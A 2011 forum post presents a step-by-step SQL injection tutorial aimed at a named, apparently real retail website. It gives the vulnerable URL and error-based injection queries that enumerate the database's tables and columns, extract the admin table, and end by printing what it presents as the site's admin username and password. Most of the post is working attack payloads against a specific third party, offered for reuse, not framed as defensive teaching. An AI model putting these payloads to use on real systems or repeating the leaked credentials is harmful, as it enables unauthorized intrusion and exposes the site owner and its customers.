Jul 17, 2011 08:34 AM
(This post was last modified: Jul 17, 2011 08:34 AM by Mord FustanG.)
Hack ASPX Websites With SQL Injections
Vulnerable link:
Code
http://pothys.com/ImageDisplay.aspx?Id=1535&Prod=SilkCottonStep 1:
Code
http://pothys.com/ImageDisplay.aspx?Id=1535&Prod=SilkCotton order by 1--The above query gives a "Page not Found" error. Hence we use the following link for rest of the queries:
Code
http://pothys.com/ImageDisplay.aspx?Id=1535Step 2: Finding the column names
Code
http://pothys.com/ImageDisplay.aspx?Id=1535 having 1=1The selected text represents the column names.
Step 3: Finding the table names
Code
http://pothys.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 table_name from information_schema.tables))Here the highlighted text is the first table in the database. But we are interested in finding the admin table. So lets try to find the next table in the database.
So the next query is:
Code
http://pothys.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Tab_FinalOrder')))So the name of the admin table is "AdminMaster"
Step 4: To find the columns in "AdminMaster" table
Code
http://pothys.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name = 'AdminMaster'))Code
http://pothys.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name = 'AdminMaster' and column_name not in ('Admin_name')))Column names: "Admin_name" and "Admin_password"
[img]http://i813.photobucket.com/albums/zz58/shyamraj87/aspx%20tut/img5.jpg[/img]
[img]http://i813.photobucket.com/albums/zz58/shyamraj87/aspx%20tut/img6.jpg[/img]
Step 5: Finding the username and password
Code
http://pothys.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 Admin_name from AdminMaster))Code
http://pothys.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 Admin_password from AdminMaster))[img]http://i813.photobucket.com/albums/zz58/shyamraj87/aspx%20tut/img7.jpg[/img]
[img]http://i813.photobucket.com/albums/zz58/shyamraj87/aspx%20tut/img8.jpg[/img]
Username: admin
Password: pothys!@#
Hope You May Like My Share


